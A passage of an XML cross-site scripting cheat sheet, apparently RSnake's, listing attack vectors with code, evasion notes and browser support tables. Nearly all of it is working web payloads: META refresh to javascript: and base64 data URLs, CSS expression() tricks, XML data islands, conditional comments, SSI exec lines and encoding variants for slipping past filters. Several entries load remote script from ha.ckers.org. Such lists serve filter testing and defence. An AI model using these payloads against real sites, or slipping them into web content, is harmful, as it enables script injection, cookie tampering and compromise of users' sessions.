class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS4&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>META</name> - <code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>The odd thing about meta refresh is that it doesn&apos;t send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>META w/data:URL</name> - <code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&gt;</code> - <desc>This is nice because it also doesn&apos;t have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>META w/additional URL parameter</name> - <code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an &quot;http://&quot; you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Mocha</name> - <code>&lt;IMG SRC=&quot;mocha:[code]&quot;&gt;</code> - <desc>Mocha (Older Netscape only)</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>OBJECT</name> - <code>&lt;OBJECT TYPE=&quot;text/x-scriptlet&quot; DATA=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/OBJECT&gt;</code> - <desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>OBJECT w/Embedded XSS</name> - <code>&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(&apos;XSS&apos;)&gt;&lt;/OBJECT&gt;</code> - <desc>Using an OBJECT tag you can embed XSS directly (this is unverified).</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support:</browser> - </attack> - <attack> - <name>Embed Flash</name> - <code>&lt;EMBED SRC=&quot;http://ha.ckers.org/xss.swf&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;</code> - - <desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess=&quot;never&quot; and allownetworking=&quot;internal&quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>OBJECT w/Flash 2</name> - <code>a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:&quot;;&amp;#10;d=&quot;alert(&apos;XSS&apos;);&quot;)&quot;;&#10;eval(a+b+c+d);</code> - - <desc>Using this action script inside flash can obfuscate your XSS vector.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>STYLE</name> - <code>&lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(&apos;XSS&apos;);&lt;/STYLE&gt;</code> - <desc>STYLE tag (Older versions of Netscape only)</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>STYLE w/Comment</name> - <code>&lt;IMG STYLE=&quot;xss:expr/*XSS*/ession(alert(&apos;XSS&apos;))&quot;&gt;</code> - <desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>STYLE w/Anonymous HTML</name> - <code>&lt;XSS STYLE=&quot;xss:expression(alert(&apos;XSS&apos;))&quot;&gt;</code> - <desc>Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don&apos;t really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>STYLE w/background-image</name> - <code>&lt;STYLE&gt;.XSS{background-image:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;);}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;</code> - - <desc>STYLE tag using background-image.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>STYLE w/background</name> - <code>&lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;)}&lt;/STYLE&gt;</code> - - <desc>STYLE tag using background.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Stylesheet</name> - <code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>Stylesheet</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Remote Stylesheet 1</name> - <code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;http://ha.ckers.org/xss.css&quot;&gt;</code> - <desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won&apos;t work unless there is some content on the page other than the vector itself, so you&apos;ll need to add a single letter to the page to make it work if it&apos;s an otherwise blank page.</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Remote Stylesheet 2</name> - <code>&lt;STYLE&gt;@import&apos;http://ha.ckers.org/xss.css&apos;;&lt;/STYLE&gt;</code> - <desc>Remote style sheet part 2 (this works the same as above, but uses a &lt;STYLE&gt; tag instead of a &lt;LINK&gt; tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Remote Stylesheet 3</name> - <code>&lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet&quot;&gt;</code> - <desc>Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Remote Stylesheet 4</name> - <code>&lt;STYLE&gt;BODY{-moz-binding:url(&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;)}&lt;/STYLE&gt;</code> - <desc>Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>TABLE</name> - <code>&lt;TABLE BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TABLE&gt;</code> - <desc>Table background (who would have thought tables were XSS targets... except me, of course).</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>TD</name> - <code>&lt;TABLE&gt;&lt;TD BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TD&gt;&lt;/TABLE&gt;</code> - <desc>TD background.</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>XML namespace</name> - <code>&lt;HTML xmlns:xss&gt; -&lt;?import namespace=&quot;xss&quot; implementation=&quot;http://ha.ckers.org/xss.htc&quot;&gt; -&lt;xss:xss&gt;XSS&lt;/xss:xss&gt; - -&lt;/HTML&gt;</code> - <desc>XML namespace. The .htc file must be located on the server as your XSS vector.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>XML data island w/CDATA</name> - <code>&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![CDATA[cript:alert(&apos;XSS&apos;);&quot;&gt;]]&gt; - -&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;</code> - <desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>XML data island w/comment</name> - <code>&lt;XML ID=&quot;xss&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!-- --&gt;cript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt; - -&lt;SPAN DATASRC=&quot;#xss&quot; DATAFLD=&quot;B&quot; DATAFORMATAS=&quot;HTML&quot;&gt;&lt;/SPAN&gt;</code> - <desc>XML data island with comment obfuscation (doesn&apos;t use CDATA fields, but rather uses comments to break up the javascript directive)</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>XML (locally hosted)</name> - <code>&lt;XML SRC=&quot;http://ha.ckers.org/xsstest.xml&quot; ID=I&gt;&lt;/XML&gt; -&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;</code> - - <desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>XML HTML+TIME</name> - <code>&lt;HTML&gt;&lt;BODY&gt; -&lt;?xml:namespace prefix=&quot;t&quot; ns=&quot;urn:schemas-microsoft-com:time&quot;&gt; - -&lt;?import namespace=&quot;t&quot; implementation=&quot;#default#time2&quot;&gt; -&lt;t:set attributeName=&quot;innerHTML&quot; to=&quot;XSS&lt;SCRIPT DEFER&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt; &lt;/BODY&gt;&lt;/HTML&gt;</code> - - <desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Commented-out Block</name> - <code>&lt;!--[if gte IE 4]&gt; -&lt;SCRIPT&gt;alert(&apos;XSS&apos;);&lt;/SCRIPT&gt; -&lt;![endif]--&gt;</code> - - <desc>Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.</desc> - <label>Other Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Cookie Manipulation</name> - <code>&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt;</code> - - <desc>Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where &lt;META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim&apos;s cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc> - <label>Other Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Local .htc file</name> - <code>&lt;XSS STYLE=&quot;behavior: url(http://ha.ckers.org/xss.htc);&quot;&gt;</code> - <desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc> - <label>Other Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Rename .js to .jpg</name> - <code>&lt;SCRIPT SRC=&quot;http://ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt;</code> - <desc>Assuming you can only fit in a few characters and it filters against &quot;.js&quot; you can rename your JavaScript file to an image as an XSS vector.</desc> - - <label>Other Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>SSI</name> - <code>&lt;!--#exec cmd=&quot;/bin/echo &apos;&lt;SCRIPT SRC&apos;&quot;--&gt;&lt;!--#exec cmd=&quot;/bin/echo &apos;=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;&apos;&quot;--&gt;</code> - - <desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don&apos;t need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc> - <label>Other Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>PHP</name> - <code>&lt;? echo(&apos;&lt;SCR)&apos;; -echo(&apos;IPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&apos;); ?&gt;</code> - - <desc>PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.</desc> - <label>Other Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>JavaScript Includes</name> - <code>&lt;BR SIZE=&quot;&amp;{alert(&apos;XSS&apos;)}&quot;&gt;</code> - <desc>&amp;JavaScript includes (works in Netscape 4.x).</desc> - <label>Other Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Character Encoding Example</name> - <code>&lt; -%3C -&amp;lt -&amp;lt; -&amp;LT -&amp;LT; -&amp;#60 -&amp;#060 -&amp;#0060 - -&amp;#00060 -&amp;#000060 -&amp;#0000060 -&amp;#60; -&amp;#060; -&amp;#0060; -&amp;#00060; -&amp;#000060; -&amp;#0000060; -&amp;#x3c -&amp;#x03c -&amp;#x003c -&amp;#x0003c -&amp;#x00003c -&amp;#x000003c -&amp;#x3c; -&amp;#x03c; - -&amp;#x003c; -&amp;#x0003c; -&amp;#x00003c; -&amp;#x000003c; -&amp;#X3c -&amp;#X03c -&amp;#X003c -&amp;#X0003c -&amp;#X00003c -&amp;#X000003c -&amp;#X3c; -&amp;#X03c; -&amp;#X003c; -&amp;#X0003c; -&amp;#X00003c; -&amp;#X000003c; -&amp;#x3C - -&amp;#x03C -&amp;#x003C -&amp;#x0003C -&amp;#x00003C -&amp;#x000003C -&amp;#x3C; -&amp;#x03C; -&amp;#x003C; -&amp;#x0003C; -&amp;#x00003C; -&amp;#x000003C; -&amp;#X3C -&amp;#X03C -&amp;#X003C -&amp;#X0003C -&amp;#X00003C -&amp;#X000003C - -&amp;#X3C; -&amp;#X03C; -&amp;#X003C; -&amp;#X0003C; -&amp;#X00003C; -&amp;#X000003C; -\x3c -\x3C -\u003c -\u003C</code> - <desc>All of the possible combinations of the character &quot;&lt;&quot; in HTML and JavaScript. Most of these won&apos;t render, but many of them can get rendered in certain circumstances (standards are great, aren&apos;t they?).</desc> - <label>Character Encoding Attacks</label> - - <browser>Browser support:</browser> - </attack> - <attack> - <name>Case Insensitive</name> - <code>&lt;IMG SRC=JaVaScRiPt:alert(&apos;XSS&apos;)&gt;</code> - <desc>Case insensitive XSS attack vector.</desc> - - <label>Character Encoding Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>HTML Entities</name> - <code>&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;</code> - <desc>HTML entities (the semicolons are required for this to work).</desc> - <label>Character Encoding Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Grave Accents</name> - <code>&lt;IMG SRC=`javascript:alert(&quot;RSnake says, &apos;XSS&apos;&quot;)`&gt;</code> - <desc>Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don&apos;t know about grave accents).</desc> - - <label>Character Encoding Attacks</label> - <browser>Browser support: [&lt;span 